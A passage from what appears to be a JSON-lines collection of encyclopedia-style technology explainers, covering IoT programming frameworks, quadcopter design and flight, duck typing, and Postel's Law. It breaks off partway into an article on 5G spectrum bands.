increasing the level of abstraction and by describing the system using different system views. The vertical separation of concerns (SOC) reduces app development complexity by separating platform-independent model (PIM) and platform-specific model (PSM). The horizontal separation of concerns separates different aspects of a system.\n\n### What are the features to consider when evaluating IoT programming frameworks?\n\nThe following features are relevant:\n\n    + **Scalability** - Programming frameworks that support diverse programming patterns that are able to perform load-balancing dynamically.\n    + **Concurrency** - Real-time communication between millions of devices and applications mean millions of concurrent connections. Thread locking is not efficient in such situations.\n    + **Coordination** - Programming language support for explicitly (control driven) or implicitly (data driven) orchestrating the role of computing elements.\n    + **Heterogeneity** - Programming framework gives guidance on how computations are mapped to the computing elements.\n    + **Fault tolerance** - Applications should be able to gracefully go from online to offline state as networks partition and heal their connections.\n    + **Light footprint** - In terms of runtime overhead and in terms of programming effort the framework should be light.\n    + **Support for latency and sensitivity** - In geographically distributed applications, pushing all computations to the cloud is not ideal. The programming framework has to handle these requirements dynamically.\n\n### What programming paradigms are suitable for IoT?\n\nA programming paradigm is a way to classify the programming language based on its execution model. It should be kept in mind that a particular language can below to more than one paradigm. The following programming paradigms are suited for IoT:\n\n    + **Functional** - Functional programming helps solve the challenges of scalability and concurrency. Its preference for immutability, function composition, avoiding side-effects, less code, etc. avoid several IoT pitfalls.\n    + **Dataflow** - Dataflow programming emphasizes the movement of data. It models programs as a series of connections. Explicitly defined inputs and outputs connect operations. An operation runs as soon as all of its inputs become valid. Dataflow languages are inherently parallel and can work well in large decentralized systems.\n    + **Event-Driven** - Event-driven programming (events triggered by sensors, connectivity, or time) is well suited to IoT where devices spend most of their time in power-saving modes, wake up due to some event, process data, send it out, and go back to sleep.\n\n### Are there any specific requirements that the languages should satisfy to be used for IoT?\n\nDevelopers can consider the following:\n\n    + Languages that support Functional, Dataflow, or Event-driven programming.\n    + Interpreted languages (Python) are slower than compiled ones (C/C++/Rust/Go).\n    + Type safety, memory management, no null pointer exceptions. Languages such as C and C++ use explicit pointers to reference memory. Incorrect pointer calculations can lead to buffer overruns and memory access violations.\n    + Availability of GPIO libraries.\n    + Libraries that support IoT protocols like Advanced Message Queuing Protocol (AMQP), Constrained Application Protocol (CoAP), Extensible Messaging and Presence Protocol (XMPP), OASIS MQTT, or Very Simple Control Protocol (VSCP).\n\n### Within languages, are there any specific variants, modules or libraries that enables IOT?\n\n    + In Python, \"mraa\" and \"paho-mqtt\" are useful for IoT. . MicroPython can be used on constrained devices.\n    + Java first appeared in the 1990s for a resource-tight embedded environment, requiring minimum computing power. Many of the Oracle Java ME Embedded APIs are targeted at the needs of embedded systems.\n    + Eclipse Mita is a new programming language designed to feel like modern programming languages in the vein of TypeScript, Kotlin, and Go. It helps scale from prototypes to commercial IoT deployments by transpiling to C code.\n\n### Could you share some best practices for IoT developers?\n\nChoose a programming framework that promotes design reuse, implementation reuse and validation reuse in order to enhance software extensibility, flexibility and portability. To make distributed IoT microservices resilient, developers should be able to specify precise sequence of execution steps to be taken by compiled code, regardless of the order in which asynchronous event messages are processed. \n\n\n### Could you list IDEs, debuggers and tools for IoT programming?\n\nIDEs and tools for IoT are many and we list some of them below: \n\n    + **Eclipse IOT project (Kura)** - This is a Java-based development framework for IoT applications.\n    + **Arduino IDE** - This IDE includes support for the C and C++ programming languages for programmable microcontrollers. It's a complete package with many examples and pre-loaded libraries.\n    + **Raspbian** - This IDE comes with many packages and examples created specifically for the Raspberry Pi boards.\n    + **OpenSCADA** - This project is a part of Eclipse IOT Industry Working Group along with Eclipse SCADA (Supervisory Control and Data Acquisition). It provides several libraries, interface apps, and configuration tools.\n    + **PlatformIO** - This is a cross-platform IDE that supports over 400 embedded boards, and several development platforms and frameworks.\n    + **Macchina.io** - This is a toolkit for building embedded applications for IoT using POCO C++ libraries and the V8 JavaScript engine. The core is implemented in C++. JavaScript is used for application development. It enables dynamically extensible modular applications using the plug-in and services model similar to OSGi in Java.\n\n\n## Milestones\n\nNov  \n2005\n\nInternational Telecommunications Union publishes the 7th in its series of reports on the Internet, titled “The Internet of Things.” \n\nOct  \n2013\n\nIBM releases version 0.2.0 of **Node Red**, a visual wiring tool for IoT. In 2016, IBM contributes Node-RED as an open source JS Foundation project.\n\nNov  \n2013\n\nDamien George launches **MicroPython**, a software implementation of the Python 3 programming language, written in C, that's optimized to run on a microcontroller. \n\nOct  \n2015\n\nLars Bak and Kasper Lund of Google announce the **Fletch** project for the **Dart** programming language to optimise it for Internet of Things (IoT) devices.  \n\n2016\n\nMicrosoft open sources **P**, a language designed for asynchronous event-driven programming, which it considers vital for the cloud, artificial intelligence and IoT.  \n\nMar  \n2017\n\nTeam **KinomaJS** starts **Moddable**, a new company building tools for developers to create open IoT products using standard JavaScript on low cost microcontrollers. KinomaJS is a JS application framework optimised for IoT. KinomaJS was previously supported by Marvell Semiconductor.  \n\nMay  \n2017\n\nGoogle makes **Kotlin** (JetBrains), a statically typed programming language for JVM, a first class language for Android Apps and its Android Things IoT Platform. \n\nMar  \n2018\n\nEclipse announces **Mita**, a language that aims to remove the entry barrier to embedded IoT development. Mita is transpiled to C code. It combines imperative programming with model-driven configuration.\n\nMar  \n2018\n\nThe Linux Foundation announces **ACRN**, an open source reference hypervisor project designed for IoT device development.","meta":{"title":"Programming for IoT","href":"programming-for-iot"}}
{"text":"# Quadcopter\n\n## Summary\n\n\n**Quadcopter** is an unmanned aerial vehicle (UAV) or drone with four rotors, each with a motor and propeller. A quadcopter can be manually controlled or can be autonomous. It's also called *quadrotor helicopter* or *quadrotor*. It belongs to a more general class of aerial vehicles called multicopter or multirotor. \n\nSmall quadcopters are easy to build because of low cost, low inertial force and simple flight control system. Quadcopters provide stable flight performance, making them ideal for surveillance and aerial photography. Other application areas include delivery, land surveys, crop assessment, weather broadcasting, and more. Quadcopters exist in many sizes, from palm-sized ones to those that can carry passengers or heavy cargo. \n\nCivilian use of quadcopters is subject to regulations, which are not mature in many countries. However, quadcopters are an important part of future transportation called Advanced Air Mobility (AAM).\n\n## Discussion\n\n### What's the working principle of a quadcopter?\n\nThe main principle behind the flight of a quadcopter is **Newton's Third Law** of motion, which states that for every action there's an equal and opposite reaction. A quadcopter's propellers push air downwards. This causes an opposite reaction called *thrust* that pushes the quadcopter upwards against gravity. Air movement comes from **Bernoulli's Principle**, with larger propeller blades and faster rotation creating more thrust.  \n\nWhen the propellers rotate (for example clockwise), the quadcopter will tend to rotate anti-clockwise. Rotational force is called *torque*. Helicopters solve this by using a tail rotor. Quadcopters solve this by driving two diagonal propellers clockwise and the other two anti-clockwise. Thus, torque from one pair cancels that of the other. \n\nWhen each diagonal pair of propellers rotate in opposite directions, their thrusts will be in opposite directions. The quadcopter will not be able to lift up or fly. This is solved by having the blades of each diagonal pair of propellers shaped as mirror images of the other pair. Effectively, all propellers will push air downwards regardless of the direction of rotation. \n\n\n### What are the components of a quadcopter?\n\nA quadcopter has four **motors** that drive four **propellers**. Propeller blades are shaped to create maximum possible thrust. These are attached to the ends of a **frame** made of aluminium, carbon fibre or balsa wood.  \n\nFour **Electronic Speed Controllers (ESCs)** drive the motors. ESCs are typically placed along the four arms of the quadcopter. They drive the motors by supplying specific voltage and current. Typically, an ESC must be rated at 1.2-1.5 times the maximum current rating of the motor. \n\n**Flight Controller (FC)** may be considered the \"brain\" of the quadcopter. It commands the ESCs autonomously or in response to remote commands. It may process inputs from many on-board sensors. For remote control, a quadcopter is equipped with a **wireless transceiver**. \n\nThe power to drive the motors and all electronics comes from a **battery** via a **Power Distribution Board (PDB)**. Flight time can be estimated from battery capacity and maximum current drawn by all motors. \n\nOther parts include jumper cables, bullet connectors, LEDs and a buzzer. Quadcopters may have a GPS receiver, a camera and many other sensors as required by specific applications. \n\n\n### How does a quadcopter achieve different movements?\n\nA quadcopter has four different movements:  \n\n    + **Vertical**: Quadcopter can move up against gravity or come down in a controlled manner. These movements are called *throttle*.\n    + **Rotational**: Clockwise or anti-clockwise turns about the vertical axis is called *yaw*.\n    + **Front-to-back Lateral**: Tilting along the lateral axis, called *pitch*, causes the quadcopter's nose to dip or rise. This in turn enables forward or backward motion.\n    + **Left-to-right Lateral**: Tilting along this axis, called *roll*, enables movement towards left or right.The above imply that a quadcopter has **six degrees of freedom**: linear movements in along x, y and z directions; rotational movements called yaw, pitch and roll. \n\nThe movements are achieved by controlling the rotational speeds of the four motors. This is shown in the figure. For example, with pitch, when back propellers rotate faster than the front ones, the nose dips down and the quadcopter moves forward. With yaw, when two propellers rotate clockwise faster than the other two, the quadcopter turns anti-clockwise.  \n\n\n### What are the different types of quadcopters?\n\nThe different types of quadcopters based on their shape are as follows:  \n\n    + **X Quadcopter**: A popular design, it's used for aerial photography, videography, First Person View (FPV) racing and acrobatic stunt flying. Frame variations include true X, square, hybrid X and stretched X.\n    + **X-Stretched Quadcopter**: Also called V configuration, it's elongated design provides more stability on the pitch axis.\n    + **H Quadcopter**: Has a H-shaped frame.\n    + **+ Quadcopter**: This tracks well when going straight. To go straight or sideways, one motor is driven faster than the other on the opposite arm. Propellers are in an aerodynamically efficient position. It's used in acrobatic flying and FPV stunt flying.\n    + **Y4 Quadcopter**: Frame has three arms like a tricopter but rear arm has two motors coaxially mounted for better yaw control. While a tricopter use servo motors, Y4 uses BLDC motors. Hence Y4 has more lifting power and is more durable.\n    + **V-tail or A-Tail Quadcopter**: Similar to Y4 but with rear motors mounted at an angle in a V or A shape. It has more yaw control because it uses thrust to turn rather than counter torque.\n\n### What are the applications of quadcopters?\n\nWe note the following applications of quadcopters:\n\n    + **Aerial Photography**: Used in filming action sequences and sci-fi scenarios, which makes cinematography a lot simpler.\n    + **Shipping & Delivery**: Drone delivery is supported by major corporations including Amazon, UPS, and DHL. Used to transport tiny parcels, groceries, medications, and other items across short distances.\n    + **Geographic Mapping**: In difficult-to-reach places like coasts, mountaintops, and islands, quadcopters can collect very high-resolution data and download pictures.\n    + **Disaster Management**: After a natural or man-made disaster, quadcopters can quickly negotiate debris and gather information in search of injured patients.\n    + **Precision Agriculture**: Quadcopters' infrared sensors may be calibrated to assess the health of crops, allowing farmers to react and enhance agricultural conditions locally with fertilizers or pesticides.\n    + **Weather Forecasting**: Quadcopters are being developed to track hazardous and unpredictably changing weather. They can be cost-effectively deployed in storms and tornadoes.\n    + **Wildlife Monitoring**: Elephants, rhinos, and big cats were photographed using quadcopters. Drones can function at night thanks to their infrared cameras and sensors.\n    + **Entertainment**: In fights and cage matches, quadcopters are utilized to collect recordings and images.\n\n### What are the design considerations for a quadcopter?\n\nThe essence of quadcopter design is to generate enough thrust to carry the payload. Payload depends on the application. Thrust is provided by good propeller design. Their blades are shaped to minimize drag and maximize thrust. Each rotor produces thrust and torque about its center of rotation. There's gravity. There's also drag in the opposite direction to the flight. These are main forces to consider during design.\n\nGood flight stability and control are essential. Safety and durability are important.\n\nBrushless DC (BLDC) motors are commonly used for quadcopters. These consist of a permanent magnet which rotates around a fixed armature. Compared to brushed DC motors, we get more torque per weight, reduced noise, increased reliability, longer lifetime and increased efficiency.\n\nFor remote/radio control (RC), we need to select the correct wireless technology. This determines the range of communication and control.\n\nFor power, Lithium Polymer (LiPO) and Lithium Polymer High Voltage (LiHV) batteries are commonly used for quadcopters. They should be shaped for neat mounting within the frame. Battery capacity determines flight time. Higher capacity generally means heavier batteries and hence there's a trade-off.\n\n\n### How to calculate the thrust of a quadcopter?\n\n**Payload** is weight in addition to the \"bare weight\" of the quadcopter consisting of its essential components. For a typical drone, the average payload is 0.3-2 kg. A cargo drone can carry 20-200 kg. In either case, thrust should be sufficient to deliver the payload.\n\nTo get the quadcopter airborne, the quadcopter needs a certain amount of thrust. Thrust is the force normal to the plane of the propeller. Thrust from a single motor \\(r\\) for \\(r \\in [1..4]\\) is given by \\(T = ρA{V\\_r}^2\\), where \\(ρ\\) = real-time air density (kg/m3), \\(A\\) = cross-sectional area of the propellers, \\(V\\_r\\) = instantaneous peripheral velocity of rotors (m/s). \n\nTotal thrust is includes thrust from all four rotors. In the simple case of upwards throttle (vertical take-off), this should exceed gravitational force.\n\n\n### What are range and endurance of a quadcopter?\n\n**Endurance** is defined as the total time that a quadcopter stays in the air on a full tank of fuel. For a quadcopter, the battery is the fuel. 2 hours, 31 minutes, and 30 seconds is the longest endurance a quadcopter achieved. This record was created by Ferdinand Kickinger of Germany in 2016. It used low discharge rate and high-capacity lithium-ion batteries. He stripped the airframe of non-essential weight to reduce power draw and extend endurance. To calculate the endurance in minutes, take the battery's capacity in amp-hours. Divide it into the average current draw and then multiply it by 60. \n\n**Range** is defined as the distance travelled by an aerial vehicle on a full tank of fuel. A high-end consumer drone can have a drone of about 2.5-4.5 miles (4-8 km). Mid-level consumer drones have a range of about 0.25-1.5 miles (0.4-3 km). **DJI Mavic 2 Pro** is the longest range drone. \n\n\n### Which type of control system is used in a quadcopter?\n\nQuadcopters require flight control software and hardware elements. These allow it to be controlled remotely. It's either done by a pilot or autonomously by an onboard computer. Flight dynamics are highly variable and non-linear. Maintaining attitude and stability may require continuous computation and readjustment of aircraft's flight systems. \n\nElements on the ground form a **Ground Control System (GCS)** and use a modem and datalink for communication. Quadcopter collects information from an *Air Data System* (static and dynamic pressure), **GNSS** receiver or Attitude and Heading Reference System/AHRS (roll, pitch, and yaw data). A **Flight Control Computer (FCC)** uses this data to guide the quadcopter to its next waypoint. The FCC also operates payloads and communicates with the GCS.\n\nMATLAB/Simulink are the tools to carry out the simulation, how a quadcopter operates. The three controllers are Feedback Linearization with PD Controller (FBL+PD), Feedback Linearization with LQR (FBL+LQR), and PID Controller are implemented as separate Simulink models and simulated. \n\n## Milestones\n\n1907\n\nThe first quadcopter is created by brothers Jacques and Louis Bréguet. \n\n1917\n\nThe first pilotless aircraft is developed after the outbreak of World War I. It's named as Ruston Proctor Aerial Target. It's a radio-controlled pilotless airplane, based on RC technology from the inventor Nikola Tesla. The goal of the Aerial Target is to act as a flying bomb, which can pilot into enemies. \n\n1920\n\nQuadcopters are developed by engineers to solve the problems that helicopter pilots had with making vertical flights. The first one is named with the Omnichen 2 by Etienne Omnichen. \n\n1935\n\nThe British develop \"Queen Bee\", a radio-controlled target drone for radio-controlled unmanned aircrafts. \n\n1937\n\nThe U.S. Navy starts experimenting with radio-controlled aircaft. This results in the development of Curtiss N2C-2 Drone. \n\n1958\n\nCurtis Wright VZ7 is a VTOL quadrotor helicopter designed by the Curtiss-Wright company for the US Army. It is a \"Flying Jeep\". \n\n1981\n\nThe Israeli IAI Scout drone is operated in combat missions by the South African Defence Force against Angola during Operation Protea. \n\n1999\n\nThe Bell Boeing Quad Tiltrotor is a fixed quadcopter combining with the tilt rotor concept for a C-130 size military transport. \n\n2013\n\nAmazon proposes the use of commercial drone technology in delivery system. \n\n2018\n\nAirbus is developing a battery-powered quadcopter to act as an urban air taxi, initially without a pilot, but potentially autonomous in future. \n\n2021\n\nA Cessna 172 of Canadian Flyers International Inc. registered as C-GKWL collides with a drone operated by the York Regional Police while on approach to Buttonville Municipal Airport.","meta":{"title":"Quadcopter","href":"quadcopter"}}
{"text":"# Duck Typing\n\n## Summary\n\n\nDuck Typing is a way of programming in which an object passed into a function or method supports all method signatures and attributes expected of that object at run time. The object's type itself is not important. Rather, the object should support all methods/attributes called on it. For this reason, duck typing is sometimes seen as \"a way of thinking rather than a type system\". \n\nIn duck typing, we don't declare the argument types in function prototypes or methods. This implies that compilers can't do type checking. What really matters is if the object has the particular methods/attributes at run time. Duck typing is therefore often supported by dynamic languages. However, some static languages are beginning to \"mimic\" it via structural typing.\n\n## Discussion\n\n### What's the origin of the phrase \"duck typing\"?\n\nThe phrase originates from an old saying, \n\n> If it walks like a duck, swims like a duck, and quacks like a duck, then it probably is a duck.\n\nWhat does this mean? Even a non-duck entity that behaves like a duck can be considered a duck because emphasis is on behaviour. By analogy, for computing languages, the type of an object is not important so long as it behaves as expected. This behaviour is defined by the object's methods/properties/attributes while expectations are set by those who invoke the methods/properties/attributes.\n\nFor example, a `Book` class is expected to have an attribute `numPages` and a method `getPage(number)`, where `number` is an integer. Let's say a function `searchPhrase(book, phrase)` is meant to search for a given phrase in a book. This function calls `book.getPage()` for all `book.numPages` of the book. A `Newspaper` is obviously not a book but with duck typing this doesn't matter. If `Newspaper` has implemented `numPages` and `getPage(number)`, it can be passed into `searchPhrase(book, phrase)` as if it's a book. Though it's not a book, it's sufficient that it behaves like one within the context of `searchPhrase`.\n\n\n### What's the advantage of having duck typing?\n\nIt's been said that dynamic typing in general cuts down development time. There's less boilerplate code. Code is easier to hack. With static typing, compile-time checks slow down the development process. Static typing could be used at a later point to get better performance. Others recommend duck typing only for prototyping and never for production. \n\nWhile it's true that compile-time checks are useful to catch potential problems early, duck typing enforces following coding conventions, documentation and test-driven methodologies. \n\nSince duck typing isn't exactly a type system, it gives programmers flexibility. In Python, for example, common things are simpler to code. While static typed languages use interfaces, such interfaces may involve excessive refactoring of client code. \n\n\n### Isn't duck typing more like late binding than a type system?\n\nIt can be argued that duck typing is not really a type system in the sense of run-time or compile-time type systems. Type systems typically prescribe rules for defining types, for deducing types from expressions, for determining legality of expressions or storage based on types, and so on. Duck typing doesn't do any of these. Joe Esposito has commented that, \"Duck typing is based around conventions, written in the docs instead of code. This allows the language to defer the type system\". \n\nLate binding is when an object or method is bound to a name at run time. Duck typing looks similar to late binding except for a subtle difference that it's based on behaviour rather than declared type. \n\nOne way to understand this is to recognize that C# (a static typed language) allows for method overloading where methods differ only by their arguments types. This is not possible in Python (dynamic typed language) but duck typing fills in since run-time behaviour is emphasized rather than the type of the object passed to the method. Also, because it's interpreted and does late binding, duck typing is easy to do. \n\n\n### Can you compare duck typing with structural typing?\n\nJoe Esposito makes a distinction between static duck typing and dynamic duck typing. With the latter, compile-time checks are skipped and this is what we mean when we refer to duck typing. Static duck typing is similar to structural typing that some static typed languages (Scala, F#) support. Structural typing allows for some compile-time checks, not on types but on the supported methods/attributes. Structural typing may be seen as a compiler-enforced subset of duck typing. However, we should also note that structural typing is essentially static typing while duck typing is dynamic. \n\nJust as duck typing is for dynamic typed languages, so is structural typing for static typed languages. Erlang's Behaviours can be seen as static duck typing, that is, with compile-time checking. \n\nAmong the languages that support structural typing are Scala, OCaml, Go, Elm and PureScript. \n\n\n### Can we say that duck typing is another name for implied interfaces?\n\nStatic typed languages use explicit interfaces. In C#, we use interfaces: any type that implements an interface can be passed into a method/function that accepts that interface. This was how flexibilty was built into static typed languages but this required upfront interface declaration. \n\nPython doesn't have explicit interfaces: interfaces are implied. For Python, this is not different from duck typing. However, implied interfaces are supported by C++ (for example) in its STL library. Given that C++ does compile-time checks, we can't say in general that implied interfaces is the same as duck typing. Note that when interfaces are implied, there's no formal interface definition, and at best, it may be a shared documentation. \n\n\n### What is goose typing?\n\nIn Python, duck typing is an implied or informal interface. This is sometimes called a **protocol**. For instance, any class or object that implements `&lowbar;&lowbar;len&lowbar;&lowbar;` and `&lowbar;&lowbar;getitem&lowbar;&lowbar;` is said to conform to the sequence protocol. Therefore, it can be accessed as if it's a sequence. The sequence can be indexed or sliced. \n\nWith **goose typing**, the interface or protocol is made explicit. This is done using an Abstract Base Class (ABC). In the call `isinstance(obj, cls)`, the second argument must be an ABC. The ABC class itself can't be instantiated but another class provides an implementation of the expected interfaces. However, this other class is simply registered (via a decorator) as conforming to the ABC's interface; that is, it's not explicitly derived from the ABC. For this reason, we call goose typing as \"virtual subclassing of Python ABCs.\" \n\nAmong the languages supporting goose typing are Python, TypeScript and Go. \n\n\n### What languages support duck typing?\n\n    + Python and Ruby support duck typing, both of which are dynamic typed languages. In general, dynamic typed languages such as JavaScript and TypeScript support duck typing. While C# doesn't, some parts of .NET use duck typing.\n    + In Ruby, for example, `StringIO` doesn't have `IO` in its class hierarchy. Yet, it behaves like an `IO` due to duck typing. In fact, we may say that `StringIO` and `IO` share a common *protocol*, which is exactly how the duck typing concept is seen in OOP languages such as Smalltalk and ObjectiveC. This can be said of Python as well. For example, an iterable is one that supports the iterator protocol, which is nothing more than implementing necessary methods for an object.\n    + In PHP, PHP's dynamic typing system and object-oriented features enable duck typing to a certain extent.\n    + It's interesting to note that duck typing has inspired the creation of a [new language called Duck].(http://ducklang.org/).\n\n### How is duck typing related to LBYL and EAFP?\n\nLBYL expands to *Look Before You Leap* while EAFP expands to *Easy to Ask for Forgiveness than Permission*. Both these concepts are typically discussed in Python (and possibly other languages as well). Python prefers the EAFP approach, which is the opposite of LBYL. \n\nWith LBYL, we typically check if an object is of a compatible type before performing operations on it, such as calling its method. Python has a built-in function `isinstance()` to do this. With EAFP, we simply call the object's method, expecting that method to be present. If it's not, an exception will be thrown by the Python interpreter, which the code is expected to handle. \n\nWith duck typing, validating an object's type is not Pythonic. Thus, duck typing plays well with Python's preference for EAFP though the use of `hasattr()` can be used instead. \n\n## Milestones\n\n1946\n\nEmil Mazey states at a meeting that \"I can’t prove you are a Communist. But when I see a bird that quacks like a duck, walks like a duck, has feathers and webbed feet and associates with ducks—I’m certainly going to assume that he is a duck.\" The phrase might have originated earlier from James Whitcomb Riley (1849–1916). \n\n1980\n\nLanguages of the 1980s such as Smalltalk-80 and Objective-C have the concept of **protocols**, where the interface is more relevant than the class. In 1992, with reference to Smalltalk-80, William R. Cook of Apple Computer states that *interface hierarchy* is more useful that *inheritance hierarchy*. \n\nJul  \n2000\n\nWhat may be the one of the earliest use of the term \"duck typing\" among programmers, Alex Martelli discusses it on the `comp.lang.python` Google Group as an alternative to method overloading of C++. He states that duck typing is closer in spirit to polymorphism of C++. He clarifies,\n\n> You don't really care for IS-A -- you really only care for BEHAVES-LIKE-A-(in-this-specific-context), so, if you do test, this behaviour is what you should be testing for.\n\n2015\n\nAlex Martelli coins the term **goose typing** in the first edition of his book titled *Fluent Python*. \n\nMar  \n2017\n\nPEP 544 proposes to introduce structural subtyping to Python. This is subsequently accepted into Python 3.8 (October 2019).","meta":{"title":"Duck Typing","href":"duck-typing"}}
{"text":"# Postel's Law\n\n## Summary\n\n\nPostel's Law was formulated by Jon Postel, an early pioneer of the Internet. The Law was really a guideline for creators of software protocols. Computers used protocols to communicate with one another on the Internet. The idea was that different implementations of the protocol should interoperate. The law is today paraphrased as follows: \n\n> Be liberal in what you accept, and conservative in what you send.\n\nAlthough first stated with reference to TCP/IP, the Law has been applied in other areas, from the parsing of HTML to the acceptance of user inputs. The growth and success of the Internet has been attributed in part to this Law. However, its use in modern systems has been questioned. It's been suggested that following the Law is harmful from the perspective of maintainability, compatibility and security. \n\nPostel's Law is also known as the *Robustness Principle*.\n\n## Discussion\n\n### Could you explain Postel's Law?\n\nThe spirit of Postel's Law is to make different implementations interoperate. There are two parts to the Law and these are briefly explained in RFC 760: \n\n    + Conservative in sending: Protocol should be careful to send well-formed datagrams.\n    + Liberal in receiving: Protocol should accept any datagram that it can interpret. In other words, if the semantics are clear then errors in syntax can be overlooked.Herb Bowie calls it, \"a general social code for software: be strict in your own behavior, but tolerant of harmless quirks in others.\" \n\nIn a more general sense, the Law is about reducing variations in input and giving a more well-defined and easily understood output. Robustness comes because chaos at the input is managed to result in a cleaner output. \n\n\n### Can you give examples of Postel's Law in action?\n\nHere are some examples where the Law allows the system to continue functioning rather than break down with a fatal error: \n\n    + If an incorrect type is received, cast it to the correct type.\n    + If users enter whitespaces, trim them.\n    + If arguments are invalid and your function is supposed to return an array, return an empty array.\n    + If a closing HTML tag is expected but it's missing, close it yourself.Let's take a protocol example in which if option A is present, field X has a value; otherwise, X should be zero filled. A conservative sender will be sure to zero fill X if A is absent. Suppose the sender doesn't bother doing this. A liberal receiver will accept the packet even if X is not zero filled. \n\nSuppose in version 2 of the protocol, option B is introduced. B is applicable when A is absent. B also sets the value of X. Due to Robustness Principle, version 1 receivers will continue to accept packets sent by version 2 senders (A absent, B present with X) although they won't support B. \n\n\n### Why was Postel's Law so important for the early Internet?\n\nThe Internet grew without centralized control. When a protocol was defined, it was implemented by multiple individuals and teams. For reliable communication, these different implementations needed to understand one another. However, standards are not always unambiguous. Sometimes different interpretations arise. In such cases, strict adherence to the standard will result in protocol errors. In a distributed system, it would be hard to iron out these differences. If there's tight control, Postel's Law is not needed. But the Internet is many pieces loosely joined. This is exactly why the Law made sense. \n\nIn early Internet days, implementations were liberal in accepting non-standard inputs provided they could make sense of them and decide how to handle them. Without such a liberal approach, the growth of the Internet might have been slower than what it was. Without Postel's Law, standardization and their strict implementations would have taken longer. Implementations that interwork with one another was more important. This is partly reflected in the ethos of IETF that aims for \"rough consensus and running code.\" \n\nA similar thing happened with browser and HTML. The Law made sense for rapid growth of the WWW. \n\n\n### In what aspects of a software system has Postel's Law been applied?\n\nNetworking protocols commonly used on the Internet (such as TCP/IP, SNMP, FTP) adhere to the Law to achieve interoperability.\n\nWhen HTTP became popular in the 1990s, browsers applied the Law liberally. From a user experience perspective, it was better to parse and display as much of the content as possible rather than inform the user than the HTML page was not conforming to specifications. XML parsers on the other hand are more strict about accepting malformed or invalid XML documents. Nonetheless, some XML feed readers and aggregators from the 2000s were liberal. \n\nThe Law's been applied to design systems. When parsing user inputs, the Law's been applied to deliver better user experience. It's been used in UNIX command line utilities. APIs and microservices have also applied the Law. \n\n\n### How does one apply Postel's Law to APIs and microservices ?\n\nDifferent services could be running different versions and maintaining strict compatibility is a challenge. However, the use of versioning for APIs can help achieve backward compatibility and avoid the situation of being too liberal in accepting invalid requests. The Law is equally relevant for consumers of API, who can be liberal and process only those fields of the response they are interested in and ignore extra fields. \n\nWhere client implementations are not liberal with responses, the server may apply counter measures. In other words, the server responds in a less conservative manner so that client code does not break when the API is changed or upgraded later. This is an example of applying the Law selectively. \n\n\n### Are there problems with or exceptions to Postel's Law?\n\nIt's been claimed that the Law has no exceptions, even when it comes to XML parsing. Others argue that XML documents have to be well formed and valid. \n\nWhile the Law is good for interoperability, it leads to incompatibilities. There's no agreement about how liberal an implementation needs to be. Thus, HTML5 is a stricter specification than its predecessors. \n\nRFC 2360 clarifies, \"The sender accuses the receiver of failing to be liberal enough, and the receiver accuses the sender of not being conservative enough.\" One solution is to define standards in greater detail, particularly for the receiving end. It should be clear when to be liberal. \n\nThere could be such a thing as being too robust. RFC 3117 states that robustness is at odds with efficiency. Robustness Principle can create deployment problems because errors in new implementations will go undetected until they meet a not-so-liberal implementation. Since errors are tolerated, over time they will become entrenched and make implementations more complex. Thomson calls this the *Protocol Decay Hypothesis*. It's therefore better to expose these errors early on and let implementations fix them. \n\n\n### Can Robustness Principle be called Resilience Principle?\n\nRobustness is quite different from resilience. A robust system attempts to avoid failure and thus incurs design complexity. A resilient system attempts to discover problems early and focuses on recovery. Equivalently, a robust system will continue to function without changing its essential nature. A resilient system will continue to function by adapting itself. \n\nThus, it's proper to call Postel's Law as Robustness Principle.\n\n## Milestones\n\n1974\n\nVinton Cerf and Robert Kahn publish details of Transmission Control Program (TCP) for use in packet-switched networks. This protocol is the genesis of what later became the popular TCP/IP.\n\n1980\n\nIETF releases two documents, RFC 760 (Internet Protocol) and RFC 761 (Transmission Control Protocol). This is the beginning of TCP/IP. Jon Postel, editor of both RFCs, mentions in RFC 760, \"an implementation should be conservative in its sending behavior, and liberal in its receiving behavior.\" In RFC 761, he says in a section named Robustness Principle, \"be conservative in what you do, be liberal in what you accept from others.\" \n\n2004\n\nTim Bray argues why applying the Law to the parsing of XML documents can be harmful, particularly when the document has financial data. \n\n2011\n\nEric Allman publishes an article titled *The Robustness Principle Reconsidered*. He explains that the Law made sense in the early days of the Internet when folks cooperated. Today, the world is more hostile and security is a concern. The Law is still relevant but a line must be drawn between being conservative and being liberal. For example, we can be liberal and accept a packet even when the byte allocated for an optional field is not set to zero. On the other hand, we shouldn't be liberal in accepting wrongly encoded digital signatures. \n\n2015\n\nM. Thomson proposes an alternative to Postel's Law. He states this as follows,\n\n> Protocol designs and implementations should be maximally strict.","meta":{"title":"Postel's Law","href":"postel-s-law"}}
{"text":"# 5G Spectrum\n\n## Summary\n\n\n5G spectrum spans a wide range from 410 MHz to 52600 MHz. The high end of the spectrum falls in the millimeter range, which is novel to 5G. With its high bandwidth, it enables high-throughput, ultra-low-latency applications.\n\nNot all frequencies in this range are used by 5G. 5G defines a number of operating bands within which 5G services can be offered. These frequencies have been selected based on suitability and availability. The bands should not overlap with non-5G systems such as military, maritime, and satellite communication systems.  \n\nBoth licensed and unlicensed spectrum can be used in 5G. 5G can share 4G's licensed spectrum and Wi-Fi's unlicensed spectrum.\n\nSuccessful worldwide deployment of 5G requires that countries agree on a common set of bands. Good agreement was reached in November 2019 at WRC-19.\n\n## Discussion\n\n### Which are the main spectrum bands allocated for 5G?\n\nThe standard defines two **frequency ranges**: FR1 (410-7125 MHz) and FR2 (24250-52600 MHz). \n\nNR **operating bands** are defined within each range. While FR1 bands are either in FDD, TDD, SDL or SUL, FR2 bands can operate only in TDD. Supplementary Downlink (SDL) and Supplementary Uplink (SUL) are modes that allow only downlink or uplink in those bands. SDL and SUL are meant to provide additional capacity. \n\nIn practice, industry looks at 5G spectrum in terms of low-band (600-700 kHz), mid-band (3-5 GHz) and high-band (26-100 GHz).  Others simply refer to FR1 as \"sub-6 GHz\" band and FR2 as mmWave band. \n\nSpecifically, **n78 (3300-3800 MHz) TDD band** is globally harmonized and will be the primary 5G band. It's a subset of n77 (3300-4200 MHz). \n\n\n### How are the 5G bands and frequencies named or numbered?\n\nOperating bands are named with prefix \"n\" to signify New Radio. In Release 16, FR1 has 49 different bands from n1 to n96. FR2 has 5 bands n257-n261. \n\nIn each band, the standard gives identifying numbers to frequencies. There are two sets of numbers:\n\n    + **NR Absolute Radio Frequency Channel Number (NR-ARFCN)**: Used in signalling to identify reference frequencies. *Channel raster* is a subset of reference frequencies used to identify RF channel position in uplink and downlink.\n    + **Global Synchronization Channel Number (GSCN)**: Used for synchronization. *Synchronization raster* is specified by GSCN and indicates frequency positions of the Synchronization Signal Block (SSB). 